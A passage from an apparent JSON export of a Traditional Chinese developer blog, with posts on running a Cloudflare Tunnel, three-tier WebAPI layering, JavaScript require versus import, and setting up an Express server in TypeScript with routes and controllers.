http://localhost:1111，想要利用 Cloudflare Tunnel 讓外部人士用 https://local.cccc.ws 訪問，最簡單的一行指令如下：\n1 cloudflared tunnel run --url http://localhost:1111 local 執行後下面會跑出一堆嘰哩呱啦的訊息，只要沒有紅字就是正常：\n1 2 3 4 $ 2023-02-05T16:50:52Z INF Connection e4fe5a22-1e6e-4a05-b24c-95fc3ec62501 registered with protocol: quic connIndex=0 ip=198.41.200.23 location=TPE $ 2023-02-05T16:50:52Z INF Connection 57570b20-0c60-472b-bfac-eeebe45912ff registered with protocol: quic connIndex=1 ip=198.41.192.227 location=HKG $ 2023-02-05T16:50:52Z INF Connection 02f8e0ad-dfca-499b-af48-21a8bbfa1b47 registered with protocol: quic connIndex=2 ip=198.41.200.43 location=TPE $ 2023-02-05T16:50:52Z INF Connection 39c656ce-e08d-49a7-9cfb-1d05d92228fc registered with protocol: quic connIndex=3 ip=198.41.192.27 location=NRT 照紀錄看起來，我們分配到的節點分別位於台北（TPE）、東京（NRT）、香港（HKG），如同最開始所說的，Cloudflare 會自動就近分配 tunnel 節點位置。\n跑起來後在 Cloudflare DNS 頁面的確有多了一筆 local.cccc.ws 的紀錄。\n關閉 Tunnel 對剛剛在跑著 cloudflared 的 terminal（或 console，不論怎麼叫）按下 CTRL+C 即可中斷 tunnel。\n此時若去看 Cloudflare DNS 會發現那筆 local.cccc.ws 還是在，但是確實已經連不到了，此時需要手動砍掉這筆遺留的紀錄（或者射後不理也無妨）。\n其他花式玩法 前文所提的命令列用法較適合臨時性的應用，例如開發中的專案需要給手機測試、對外展示等，從 cloudflared 的名字可以推測的出來，字尾的「d」是 daemon 的意思，因此它也可以是服務，配合 tunnel 配置文件，讓開機完就把 tunnel 跑起來，除此之外，除了最典型的轉送給本地 HTTP 服務外，Cloudflare Tunnel 也可以轉送給本地 Unix socket 或者 IP，對 Cloudflare Tunnel 的其他花式玩法有興趣的朋友可參閱〈Argo Tunnels that live forever〉一文。\nClouflare Tunnel 的安全優勢 對於展示、測試開發中專案來說，搭建的 tunnel 往往是臨時性的，可能不用太在意安全性的部份，但 Cloudflare Tunnel 的野心不僅於此，他們希望可以將此技術應用在真實的服務上，帶給服務更多的安全保護，因為覺得滿好的所以也順帶寫一下。\n下面的示意圖是未使用 Cloudflare Tunnel 前的一個典型的 DNS A record 訪問模型：\n正常的訪客透過 example.com 訪問我們的服務，並且透過 Cloudflare 節點對我們後端的 1.2.3.4 做到基本的防護。\n但我們服務的 IP 1.2.3.4 仍然是暴露在公網的，所以有心人士有可能透過一些手段擷取到我們的真實 IP 1.2.3.4，進而展開攻擊。\n而在 Cloudflare Tunnel 的連線模型中，一切的傳輸只透過 tunnel，我們的服務始終都是封閉的，不曾暴露於公網，壞人大猩猩最多只能攻擊到 Cloudflare 節點，碰不到我們機台的真身，這可以為我們帶來額外的安全優勢：\n另一方面，Cloudflare 有著全球廣佈的快取節點，訪客會查詢到離他所在位置較近的 Cloudflare 節點，藉此加快訪問速度，而 Cloudflare 節點與我們 tunnel 節點間的流量，則由 Cloudflare 自行導引，就像 Cloudflare 自我宣傳的那樣：\n","date":"2023-03-02T00:00:00Z","image":"https://live.staticflickr.com/65535/52720903430_307b8e0d62_o.png","permalink":"https://blog.wayne-project.com/2023-03-02/cloudflare-tunnel-introduction/","title":"Cloudflare Tunnel 介紹"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n軟體分層設計模式是我這幾年專案必會使用的架構，它的效益在多人團隊分工上有極大的效益，且能有效專注修改區域，提高共用性。\n三層式架構 (Three-Tier) 是很常見的架構，可以應用在實體機器架構上，也可以應用在邏輯架構上，可以按照實體與邏輯上去進行區分。\n為甚麼要分層？ 如果程式全部一條龍寫到底，後續會產生很多問題，難以維護、難以閱讀、更甚至是萬一人家要接手你的程式碼，這時候改Ａ壞Ｂ，耦合度過高的情況下，你只能祈禱接手的人不知道你住哪\u0026hellip;\n這種情況下只有自己寫可能還好，那如果需要跟人合作呢？\n大家可能容易出現重複的 Code，也難以說明誰該負責寫哪部分。\n這時候有一個好的架構，就很重要了，分層設計時，遵循了面向介面設計的思想，那麼這種向下的依賴也應該是一種弱依賴關係。因而在不改變介面定義的前提下，理想的分層式架構，應該是一個支持可抽取、可替換的「抽屜」式架構。\nWebAPI 的三層式架構 WebAPI 的三層式架構顧名思義，主要分為了三層：\nController： 控制層，作為接口。 Service： 商業邏輯層，只要有關商業邏輯部分的處理全部放在這一層。 Repository： 倉儲層，作為資料存儲的一層。 Common： 共用層，作為存放各層會用到的相同東西。 他們之間的關係如下圖：\n優缺點 優點 1、較好形成一個規範，可做為標準化流程。 2、提高重用性，透過分層將相同類型的程式碼放在一塊。 3、團體合作的時候，能夠分層進行；開發人員只需專注於自己開發的那一層即可。 4、具有好的開放性、可擴充性優點。 5、降低程式碼之間的依賴，每層溝通是透過介面。 6、提高系統安全性，因為使用者需要透過 Service 層才有機會與下一層 Repository 撈取資料。 缺點 1、增加了開發成本，傳統一個人負責寫到底；分層下需要多人進行合作。 2、調整程式可能會出現連動性；有的時候修改一個地方，會導致其他層也需要跟著調整。 3、相較於一條龍開發系統性能下降，原本程式可以直接透過 DB 撈取資料，現在需要透過中間層的轉介才能夠拿到。 Controller 在我們 WebAPI 中，Controller 就屬於『接口』，負責處理 Router，如常見的：Get、Post、Patch\u0026hellip;等，都會是在這層負責接應相對應的路由。\nController 接收的是 Parameter，輸出的是 ViewModel。\nService 在我們程式中最重要的就屬於『商業邏輯』了，這一層是會特別關注的一層；這邊大家可能會問，那商業邏輯是指哪些呢？\n我自己認為最簡單分辨的方式，舉凡任何需要對資料特別處理的地方都會是放在這一層，如常見的：登入驗證、加減法運算、確認是否驗證成功\u0026hellip;等。\nService 接收的是 InfoModel，輸出的是 Dto。\nRepository 資料倉儲層，這層主要處理『有關資料串接』的部分，如：資料庫連接、下 SQL 取 Table 資料\u0026hellip;等，都會是在 Repository 處理。\n這邊有個特別的地方，如果我們程式需要透過別人的 API 取的資料回來做處理呢？\n那與對方 API 串接的地方就會是 Repository，所以 Repository 是處理『有關資料串接』的地方，而這資料當然並不只限於從 DB 撈取的資料。\nRepository 接收的是 Condition，輸出的是 DataModel。\nCommon 共用層相對單純，存放各層間會用到的『共同』東西，最常見的例如：Enum\u0026hellip;等，就會放在這一層。\n常見問題 三層式架構與傳統 MVC 有甚麼不同呢？ 傳統 MVC 分成，View(展示層)、Model(資料層)、Controller(控制層)，這邊與三層式架構最大的區別在於傳統 MVC 並沒有特別把『商業邏輯』抽出來；常會看到傳統 MVC 可能會把商業邏輯附加在 Controller，所以 MVC 與三層式架構是不同的。\n各層間溝通一定要透過 Model 嗎？ 這個答案就我個人使用的理解是，『不一定要透過 Model』，如果只是要回傳簡單的 bool 、或是一兩個參數，直接傳就可以了；那做成 Model 的用意呢？當然也是為了提高重用性，例如 ResultModel。\n1 2 3 4 5 6 7 8 9 10 11 12 public class ResultModel { /// \u0026lt;summary\u0026gt; /// 結果 /// \u0026lt;/summary\u0026gt; public bool Result { get; set; } /// \u0026lt;summary\u0026gt; /// 提示訊息 /// \u0026lt;/summary\u0026gt; public string Message { get; set; } } 雖然只有兩個變數，但還是把它包成了 Model ，因為有很多個地方會需要用到，當然就可以包起來給大家共同使用。\nService 層可以呼叫其他 Service 層的程式嗎？ 可以，三層式架構的優點就是要提供重用性，當然如果相同的事情在其他地方已經有做過了，直接拿來使用，就不用做重複的事情。\nModel 的名稱分了這麼多？不能直接一個通到底嗎？ 這問題也是我一開始不太能夠理解的部分，如果是一個人寫程式的時候都會為了方便，就一個 Model 通到底吧；這時候肯定會有人問就算多人合作也可以啊？\n真的可以嗎？\n各層間的職責都不同，從 Reoisitory 取出來的資料丟給 Service 做處理，有可能不需要全部完整的資料回傳給 Controller，為了避免這種情況當然是分開會比較妥當，自己使用自己的 Model；多人合作的時候只需要定義說好相互要傳遞的參數就可以分層開發了，也不會因為一個 Model 而影響對方。\n小結 當我是一個人開發的時候，分層設計真的感受不深，更多的是為何要弄得這麼複雜，但隨著工作團隊的擴展，多人合作開發的時候，分層設計就發揮出了它的價值，各個成員專注各自的層發開，不會被其他成員影響，當需要修改或擴充時，若是要改 UI，只需要異動展示層，若是新增商業邏輯則只需專注業務層，而是為要換第三方配合廠商或者更換資料庫，則只需專注在資料層去修改，而各層的物件又可以依不同情境做重用，不需重複開發，可謂好處多多。\n效益：\n適合多人團隊分工時不互相影響 (一條龍開發時感受不深) 分層專注，可以專注修改，不會牽一髮動全身 但真的能達到這樣的效益，其實還有一些必要前提：\n物件設計須符合 SOLID 原則 各層依賴介面 (Interface)，不依賴實作 專案需導入 DI Framework，做到依賴注入，達成控制反轉 (IoC) 撰寫單元測試 (Unit Test) 保護每次修改 合理的設計各層職責物件，業務層更為重要 ","date":"2023-02-24T00:00:00Z","image":"https://live.staticflickr.com/65535/52708075740_5943652140_o.png","permalink":"https://blog.wayne-project.com/2023-02-24/webapi-3-tier-introduction/","title":"【WebAPI】分層設計模式 - 三層式架構"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n你有想過，我們在 JavaScript 要引入其他文件，有的時候使用 require，有的時候使用 import，這兩個方式有什麼差別？效能上又有什麼差別呢？本篇就來說明一下！\n遵循的模塊化規範不同 require/exports 遵循 CommonJS 規範，主要用於 Node.js 伺服器端開發，以同步方式載入模組，也就是要載入完成後才能執行後面的程式碼。\n而 import/export 則是 ES6 模組（ESM）標準，由 TC39 制定，屬於靜態編譯，編譯期就能解析依賴，瀏覽器與 Node.js 都原生支持（Node.js 14+）。若舊環境不支援，則可以透過 Babel + Webpack 轉譯。\n出現的時間不同 require/exports：2010 年左右在 CommonJS 規範中出現，Node.js 廣泛採用。 import/export：ES6 (ES2015) 引入，2015 年之後才廣泛使用，Babel 是早期轉譯支援的重要工具。 現在 Node.js 14+ / 16+ 已原生支援 ES Module，不需要 Babel 也能直接使用 import/export。\n寫法與使用方式不同 CommonJS (require/exports) 1 2 3 const component = require(\u0026#39;component\u0026#39;) exports.component = component module.exports = component ES6 Module (import/export) 1 2 3 4 5 6 7 8 9 10 import fs from \u0026#39;fs\u0026#39; import { readFile } from \u0026#39;fs\u0026#39; import { readFile as read } from \u0026#39;fs\u0026#39; import fs, { readFile } from \u0026#39;fs\u0026#39; export default fs export const fs export function readFile export { readFile, read } export * from \u0026#39;fs\u0026#39; 動態載入（Dynamic Import） 靜態 import 必須是字面量字串，編譯期就要能確定模組路徑：\n1 2 3 4 5 6 // ❌ 靜態 import 不能使用變數 const url = \u0026#34;./utils.js\u0026#34;; import url; // SyntaxError // ✅ 靜態 import 正確用法 import myUtil from \u0026#34;./utils.js\u0026#34;; 若需要 動態載入，可以使用 CommonJS 的 require() 或 ESM 的動態 import()：\n1 2 3 4 5 6 7 // 使用 require()（CommonJS） const url2 = \u0026#34;./utils.js\u0026#34;; const myUtil2 = require(url2); // 使用動態 import()（ESM） const url3 = \u0026#34;./utils.js\u0026#34;; const myUtil3 = await import(url3); 說明 方法 同步/非同步 支援變數 適用環境 import (靜態) 靜態編譯 ❌ ESM（編譯期） require() 同步 ✅ CommonJS (Node.js) await import() 非同步 ✅ ESM (Node.js / 瀏覽器) Node.js 支援情況 Node.js 14.8+：動態 import() 正式可用（無需 flag）。 Node.js 16+ LTS：動態 import() 穩定，CommonJS 與 ESM 都可使用。 靜態 import 與動態 import() 都可以取代 Babel 轉譯的需求，但 Babel/Webpack 仍用於瀏覽器或舊版兼容。 本質上的不同 CommonJS 與 ES Module 輸出都是物件，但 ESM 支援 export default 與強綁定屬性。 require() 載入的是值或引用，靜態與動態都可以。 動態 import() 與 require() 的動態行為對等，但非同步，不阻塞事件循環。 範例比較 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // counter.js exports.count = 0 setTimeout(() =\u0026gt; { console.log(\u0026#39;increase count to\u0026#39;, ++exports.count, \u0026#39;in counter.js after 500ms\u0026#39;) }, 500) // commonjs.js const { count } = require(\u0026#39;./counter\u0026#39;) setTimeout(() =\u0026gt; { console.log(\u0026#39;read count after 1000ms in commonjs is\u0026#39;, count) }, 1000) // es6.js import { count } from \u0026#39;./counter\u0026#39; setTimeout(() =\u0026gt; { console.log(\u0026#39;read count after 1000ms in es6 is\u0026#39;, count) }, 1000) 執行結果：\n1 2 3 4 5 6 7 node commonjs.js \u0026gt; increase count to 1 in counter.js after 500ms \u0026gt; read count after 1000ms in commonjs is 0 babel-node es6.js \u0026gt; increase count to 1 in counter.js after 500ms \u0026gt; read count after 1000ms in es6 is 1 效能差異 靜態 import：編譯期執行。 require()：同步載入，阻塞事件循環。 動態 import()：非同步載入，不阻塞事件循環。 在現代 Node.js 專案，如果能用靜態 import 就用，需動態載入才使用 require() 或 await import()。效能差異微乎其微，但動態載入的同步/非同步行為會影響事件循環。\n","date":"2023-02-22T00:00:00Z","image":"https://live.staticflickr.com/65535/52703536702_73aed5647c_o.jpg","permalink":"https://blog.wayne-project.com/2023-02-22/js-require-vs-import/","title":"【Javascript】Require 與 Import 的區別"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n參考網站\n最近前端離不開 typescript 後，我將原本用 javascript 撰寫的 mock server 改用 typescript 來撰寫；本篇就來記錄一下該如何使用 typescript 建立 node.js 的 Express！\n使用 typescript 的好處 typescript 是為了彌補 javascript 不足的地方而誕生的語言，最主要的差別就在於宣告變數或是執行函數時需要指定 type ，不過這篇的重點在於在 node.js 中使用 typescript 建立 Express，所以就不描述太多 typescript 的特性了。\n提供許多 OO pattern 的方法，如介面、繼承與抽象類別 強型別，能夠在編譯過程中先行找到一些錯誤 能夠編譯成不同版本的 JS 有 Declaration files 能夠使用 JS Library，因此不太需要擔心套件相容問題，像是 express 有 @type/express 建立 typescript 環境 進入初始化專案或現有專案的目錄 1 2 3 4 cd ~/project/node-express-project # 初始化專案 # npm init 安裝 typescript 與 express 1 2 npm install --save-dev typescript @types/express @types/node npm install --save express 設定 typescript 安裝 typescript 時，也會同時安裝將 typescript 編譯成 javascript 的編譯器 - tsc。\n初始化 tsc 1 tsc --init tsc --init 後會產生 tsconfig.json，當 typescript 透過 tsc 編譯成 javascript 時，就會遵循該檔案的設定進行編譯。\n可能遇到的錯誤 tsc command not found 這個 error message ，請先在 global 安裝 typescript。\n1 npm install -g typescript 若仍出現 \u0026ldquo;tsc command not found\u0026rdquo;，請在終端機輸入：\n1 export PATH=”$PATH:/Users/{user name}/.npm-global/lib/node_modules/typescript/bin/” 再輸入 tsc -v ，確認 tsc 的版本即可。\ntsconfig.json 1 2 3 4 5 6 7 8 9 10 11 { \u0026#34;compilerOptions\u0026#34;: { \u0026#34;target\u0026#34;: \u0026#34;es5\u0026#34;, // 選擇要編譯成哪種版本的 javascript \u0026#34;module\u0026#34;: \u0026#34;commonjs\u0026#34;, \u0026#34;strict\u0026#34;: true, // 嚴格模式，啟用後需要指定函數參數的 type \u0026#34;esModuleInterop\u0026#34;: true, \u0026#34;skipLibCheck\u0026#34;: true, \u0026#34;forceConsistentCasingInFileNames\u0026#34;: true, \u0026#34;outDir\u0026#34;: \u0026#34;dist\u0026#34; // 將編譯過後的 js 檔放到 dist 資料夾中 } } 官網有 tsconfig.json 所有屬性的說明，請參考官網。\nnode.js 的設定 安裝完 typescript 環境後，接著我們來設定 node.js 的部分。\n1. 新增入口檔案 1 2 3 mkdir src touch src/app.ts # 入口檔案 src/app.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 import express from \u0026#39;express\u0026#39;; ​ const app = express(); const port = 3000; app.get(\u0026#39;/\u0026#39;, (req, res) =\u0026gt; { res.send(\u0026#39;The server is working!\u0026#39;); }); app.listen(port, () =\u0026gt; { if (port === 3000) { console.log(\u0026#39;true\u0026#39;) } console.log(`server is listening on ${port} !!!`); }); 2. 安裝 nodemon 與 ts-node nodemon： 用於在每次儲存檔案後自動重啟 node，看到即時的修正。 ts-node： 可以當作 node.js + typescript，用於直接在 node.js 執行 typescript 檔案。 在專案資料夾內安裝：\n1 npm install --save-dev nodemon ts-node 【推薦】也可以直接安裝於全域環境：\n1 npm install -g nodemon ts-node 3. 調整 package.json 的 scripts package.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { \u0026#34;start\u0026#34;: \u0026#34;nodemon src/app.ts\u0026#34;, \u0026#34;build\u0026#34;: \u0026#34;tsc --project ./\u0026#34;, \u0026#34;test\u0026#34;: \u0026#34;echo \\\u0026#34;Error: no test specified\\\u0026#34; \u0026amp;\u0026amp; exit 1\u0026#34; } 4. 執行 npm start 1 npm run start start 後，nodemon 會監聽檔案是否有儲存的動作，並用 ts-node 來重啟。\nnpm run build 後則會出現一個 dist 資料夾來存放編譯過後的 js 檔。\nBONUS： 使用自定義的 tsconfig.json 補充一下，若當前專案包含前後端，而前端也使用 typescript 撰寫時，已經有一隻前端部分的 tsconfig.json，此時若需拆分 Express 的 tsconfig.json，可以透過 nodemon 的參數 --config {express tsconfig.json 檔案位置} 來調整。\n先複製一份 tsconfig.json 到 Express src 資料夾內 1 2 # 先複製一份 tsconfig.json copy tsconfig.json src/tsconfig.json 調整 start 的 scripts package.json 1 2 3 4 5 \u0026#34;scripts\u0026#34;: { \u0026#34;start\u0026#34;: \u0026#34;nodemon src/app.ts --config src/tsconfig.json\u0026#34;, \u0026#34;build\u0026#34;: \u0026#34;tsc --project ./ --config src/tsconfig.json\u0026#34;, \u0026#34;test\u0026#34;: \u0026#34;echo \\\u0026#34;Error: no test specified\\\u0026#34; \u0026amp;\u0026amp; exit 1\u0026#34; } 使用 http 這邊講解用 http module 寫 node.js，如需直接使用 express 可以直接跳到使用 Express。\n建立完 typescript 的環境後，引入 node.js 的核心套件之一：http module。 http module 能讓你建立一個 http server，當你的 code 在執行的時候，可以隨時監聽網路上發送到你 url 的所有 request，並將你寫的程式邏輯 response 回去。\n載入 http module 其實跟 javascript 的寫法差不多，只是在 request 和 response 加上對應的型別： IncomingMessage、ServerResponse。\nPS： 在 node 無法直接使用 import，得透過 Babel 轉譯，可以在 tsconfig.json 中設定 module。\nsrc/tsconfig.json 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 { \u0026#34;compilerOptions\u0026#34;: { \u0026#34;target\u0026#34;: \u0026#34;esnext\u0026#34;, \u0026#34;module\u0026#34;: \u0026#34;CommonJS\u0026#34;, // 重點是這行 \u0026#34;useDefineForClassFields\u0026#34;: true, \u0026#34;strict\u0026#34;: true, \u0026#34;jsx\u0026#34;: \u0026#34;preserve\u0026#34;, \u0026#34;outDir\u0026#34;: \u0026#34;./dist\u0026#34;, \u0026#34;importHelpers\u0026#34;: true, \u0026#34;moduleResolution\u0026#34;: \u0026#34;node\u0026#34;, \u0026#34;experimentalDecorators\u0026#34;: true, \u0026#34;allowJs\u0026#34;: true, \u0026#34;skipLibCheck\u0026#34;: true, \u0026#34;esModuleInterop\u0026#34;: true, \u0026#34;allowSyntheticDefaultImports\u0026#34;: true, \u0026#34;sourceMap\u0026#34;: true, \u0026#34;isolatedModules\u0026#34;: false, \u0026#34;resolveJsonModule\u0026#34;: true, \u0026#34;baseUrl\u0026#34;: \u0026#34;.\u0026#34;, \u0026#34;types\u0026#34;: [\u0026#34;node\u0026#34;], \u0026#34;paths\u0026#34;: { \u0026#34;@/*\u0026#34;: [\u0026#34;src/*\u0026#34;] }, \u0026#34;lib\u0026#34;: [\u0026#34;esnext\u0026#34;, \u0026#34;dom\u0026#34;, \u0026#34;dom.iterable\u0026#34;, \u0026#34;scripthost\u0026#34;], \u0026#34;noFallthroughCasesInSwitch\u0026#34;: true, \u0026#34;forceConsistentCasingInFileNames\u0026#34;: true, \u0026#34;typeRoots\u0026#34;: [\u0026#34;node_modules/@types\u0026#34;, \u0026#34;src/types\u0026#34;, \u0026#34;src\u0026#34;], \u0026#34;suppressImplicitAnyIndexErrors\u0026#34;: true }, \u0026#34;include\u0026#34;: [\u0026#34;**/*.ts\u0026#34;, \u0026#34;**/*.d.ts\u0026#34;] } src/app.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import { createServer, IncomingMessage, ServerResponse } from \u0026#39;http\u0026#39;; const port = 5000; const server = createServer((request: IncomingMessage, response: ServerResponse) =\u0026gt; { response.on(\u0026#39;error\u0026#39;, (err) =\u0026gt; { console.error(err); }); response.writeHead(200, {\u0026#34;Content-Type\u0026#34;: \u0026#34;text/plain\u0026#34;}); response.end(\u0026#39;Hello world!\u0026#39;); }); server.listen(port); console.log(`server is running on http://localhost:${port}`) 如此一來每當有任何 client 對 http://localhost:5000 這個 url 發送 request 時，我們的 server 都會回應 \u0026ldquo;Hello world!\u0026rdquo; 給該 client。\n取得 request 中的資料 取得 request body 大部分的時候，如果我們需要傳資料到 server，會發送 POST request ，並且將資料存在 body 當中，要在 node.js 取得 request 中的 body data 方法如下：\n1 2 3 4 5 6 7 8 9 10 11 12 let body = []; request .on(\u0026#39;error\u0026#39;, (err) =\u0026gt; { console.error(err); }) .on(\u0026#39;data\u0026#39;, (chunk) =\u0026gt; { body.push(chunk); }) .on(\u0026#39;end\u0026#39;, () =\u0026gt; { body = Buffer.concat(body).toString(); console.log(body); }) 如果直接將 chunk console.log 出來會發現是一段看不懂的資料：\u0026lt;Buffer 7b 0d 0a 20 20 20 20 22 74 65 73 74 22 3a 20 22 35 22 0d 0a 7d\u0026gt;，這是因為 http request 在發送給 server 的時候是按照順序一個 byte、一個 byte 以資料流的方式發送的，因此需要用 Buffer.toString() 轉換回原本的資料。\n當我使用 POST method 發送 request 時，我的 server 端就會印出 request 中 body 的資料。\n取得 request header 直接用 request.headers 取得 request 中的基本資料：\n1 2 3 4 5 6 7 request .on(\u0026#39;error\u0026#39;, (err) =\u0026gt; { console.error(err); }) .on(\u0026#39;end\u0026#39;, () =\u0026gt; { console.log(request.headers); }) 取得 request authorization authorization 是我們習慣放置 token 的欄位，雖然在 postman 中是獨立的一欄，但事實上是存在 request 的 headers 裡的。\n1 2 3 4 5 6 7 8 request .on(\u0026#39;error\u0026#39;, (err) =\u0026gt; { console.error(err); }) .on(\u0026#39;end\u0026#39;, () =\u0026gt; { console.log(request.headers); console.log(request.headers.authorization); }) 完整程式碼 src/app.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import { createServer, IncomingMessage, ServerResponse } from \u0026#39;http\u0026#39;; const port = 5000; const server = createServer((request: IncomingMessage, response: ServerResponse) =\u0026gt; { const { headers, method, url } = request; let body:any = []; request .on(\u0026#39;error\u0026#39;, (err) =\u0026gt; { console.error(err); }) .on(\u0026#39;data\u0026#39;, (chunk) =\u0026gt; { body.push(chunk); }) .on(\u0026#39;end\u0026#39;, () =\u0026gt; { body = Buffer.concat(body).toString(); console.log(body); console.log(request.headers); console.log(request.headers.authorization); }) response.on(\u0026#39;error\u0026#39;, (err) =\u0026gt; { console.error(err); }); response.writeHead(200, {\u0026#34;Content-Type\u0026#34;: \u0026#34;text/plain\u0026#34;}); response.end(\u0026#39;Hello world!\u0026#39;); }); server.listen(port); console.log(`server is running on http://localhost:${port}`) 使用 Express 接著使用 Express 來改寫一下。\nsrc/app.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import express, { Express, Request, Response } from \u0026#39;express\u0026#39;; const port = 5000; const app: Express = express(); app.get(\u0026#39;/\u0026#39;, (request: Request, response: Response) =\u0026gt; { response.type(\u0026#39;text/plain\u0026#39;); response.send(\u0026#39;Homepage\u0026#39;); }) app.get(\u0026#39;/articles\u0026#39;, (request: Request, response: Response) =\u0026gt; { response.type(\u0026#39;text/plain\u0026#39;); response.send(\u0026#39;All articles are here!\u0026#39;); }) app.get(\u0026#39;/about-me\u0026#39;, (request: Request, response: Response) =\u0026gt; { response.type(\u0026#39;text/plain\u0026#39;); response.send(\u0026#39;My name is Jimmy.\u0026#39;); }) app.use((request: Request, response: Response) =\u0026gt; { response.type(\u0026#39;text/plain\u0026#39;); response.status(404) response.send(\u0026#39;Page is not found.\u0026#39;); }) app.listen(port, () =\u0026gt; { console.log(`server is running on http://localhost:${port}`)} ); 加入 Route 與 Controller 當專案越長越大後，將所有 routes 和邏輯都寫在 app.ts 是個很難維護的做法，因此大多數的專案都會將 routes 和 controllers 獨立出來，把商業邏輯寫在 controllers 中。\nController： 請求經過 router 分配過後，會交由 controller 負責處理商業邏輯，並回傳對應的 response。 Route： 我們要將使用者的請求，依照其進入的 Url 分配給不同的 Controller。 Controller 建立 controllers。\nsrc/controllers/api-controllers.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 import { Request, Response, NextFunction } from \u0026#39;express\u0026#39;; export class ApiControllers { getHomePage(request: Request, response: Response, next: NextFunction) { response.type(\u0026#39;text/plain\u0026#39;); response.send(\u0026#39;Homepage\u0026#39;); } getAboutPage(request: Request, response: Response, next: NextFunction) { response.type(\u0026#39;text/plain\u0026#39;); response.send(\u0026#39;My name is Jimmy.\u0026#39;); } } Route 建立 routes。\nsrc/routes/api-routes.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import express, { Router, Request, Response, NextFunction } from \u0026#39;express\u0026#39;; import { ApiControllers } from \u0026#39;../controllers/api-controllers\u0026#39;; const apiControllers = new ApiControllers; export class ApiRouter { router: Router; constructor() { this.router = express.Router(); this.initializeRoutes(); } initializeRoutes() { this.router.get(\u0026#39;/\u0026#39;, apiControllers.getHomePage); this.router.get(\u0026#39;/articles\u0026#39;, apiControllers.getArticlesPage); this.router.get(\u0026#39;/about-me\u0026#39;, apiControllers.getAboutPage) } } 調整 src/app.ts src/app.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import express, { Express, Request, Response, NextFunction } from \u0026#39;express\u0026#39;; import { ApiRouter } from \u0026#39;./routes/api-routes\u0026#39;; const port = 5000; const app: Express = express(); const apiRouter = new ApiRouter; app.use((request: Request, response: Response, next: NextFunction) =\u0026gt; { response.setHeader(\u0026#34;Access-Control-Allow-Origin\u0026#34;, \u0026#34;*\u0026#34;); response.setHeader( \u0026#34;Access-Control-Allow-Headers\u0026#34;, \u0026#34;Origin, X-Requested-With, Content-Type, Accept, Authorization\u0026#34; ); response.setHeader(\u0026#34;Access-Control-Allow-Methods\u0026#34;, \u0026#34;GET, POST, PATCH, DELETE\u0026#34;); next(); }); app.use(\u0026#39;\u0026#39;, apiRouter.router) app.use((request: Request, response: Response) =\u0026gt; { response.type(\u0026#39;text/plain\u0026#39;); response.status(404) response.send(\u0026#39;Page is not found.\u0026#39;); }) app.listen(port, () =\u0026gt; { console.log(`server is running on http://localhost:${port}`)} ); 檔案結構：\n將 routes 拆分成多個檔案 先建立一個 route 的 abstract class src/routes/route.ts 1 2 3 4 5 6 7 8 9 10 11 12 import { Router } from \u0026#34;express\u0026#34;; abstract class Route { protected router = Router(); protected abstract setRoutes(): void; public getRouter() { return this.router; } } export default Route; 新增 AuthRoute 與 AuthController src/controllers/AuthController.ts 1 2 3 4 5 6 7 8 9 10 import { Request, Response } from \u0026#34;express\u0026#34;; class AuthController { echo(request: Request, response: Response, next: NextFunction) { response.type(\u0026#39;text/plain\u0026#39;); response.send(\u0026#39;echo\u0026#39;); } } export default AuthController; src/routes/auth.route.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import AuthController from \u0026#34;../controllers/AuthController\u0026#34; import Route from \u0026#34;./route\u0026#34;; class AuthRoute extends Route{ private authController = new AuthController(); constructor() { super(); this.setRoutes(); } protected setRoutes() { this.router.get(\u0026#39;/login\u0026#39;, this.authController.echo); } } export default AuthRoute; 新增 ArticleRoute 與 ArticleController src/controllers/ArticalController.ts 1 2 3 4 5 6 7 8 9 10 import { Request, Response } from \u0026#34;express\u0026#34;; class ArticleController { getArticlesPage(request: Request, response: Response, next: NextFunction) { response.type(\u0026#39;text/plain\u0026#39;); response.send(\u0026#39;All articles are here!\u0026#39;); } } export default ArticleController; src/routes/article.route.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import ArticalController from \u0026#34;../controllers/ArticalController\u0026#34; import Route from \u0026#34;./route\u0026#34;; class ArticleRoute extends Route{ private articalController = new ArticalController(); constructor() { super(); this.setRoutes(); } protected setRoutes() { this.router.get(\u0026#39;/articles\u0026#39;, this.articalController.getArticlesPage); } } export default ArticleRoute; 建立 router 並加載各個檔案的 route 移除原先的 src/routes/api-routes.ts，統一改成使用 src/routes/router.ts。\nsrc/routes/router.ts 1 2 3 4 5 6 7 8 import Route from \u0026#34;./route\u0026#34;; import AuthRoute from \u0026#34;./auth.route\u0026#34;; import ArticleRoute from \u0026#34;./article.route\u0026#34;; export const router: Array\u0026lt;Route\u0026gt; = [ new AuthRoute(), new ArticleRoute() ] 改寫 src/app.ts src/app.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import express from \u0026#39;express\u0026#39;; import { router } from \u0026#34;./routes/router\u0026#34;; const app: express.Application = express(); app.use(express.json()); app.use(express.urlencoded({ extended: false })); // load router for (const route of router) { app.use(route.getRouter()); } module.exports = app; 前綴 Prefix 同一個 route 檔案常常會有相同的 prefix url，例如說 auth route 可能會有：\nPOST auth/login POST auth/logout POST auth/forgetPassword \u0026hellip; 我們在 Route class 中加入一個新的資料成員 prefix，用來設定每個 route 的前綴網址： src/routes/route.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import { Router } from \u0026#34;express\u0026#34;; abstract class Route { protected router = Router(); protected abstract setRoutes(): void; protected prefix: string = \u0026#39;/\u0026#39;; public getRouter() { return this.router; } public getPrefix() { return this.prefix; } } export default Route; 在各個 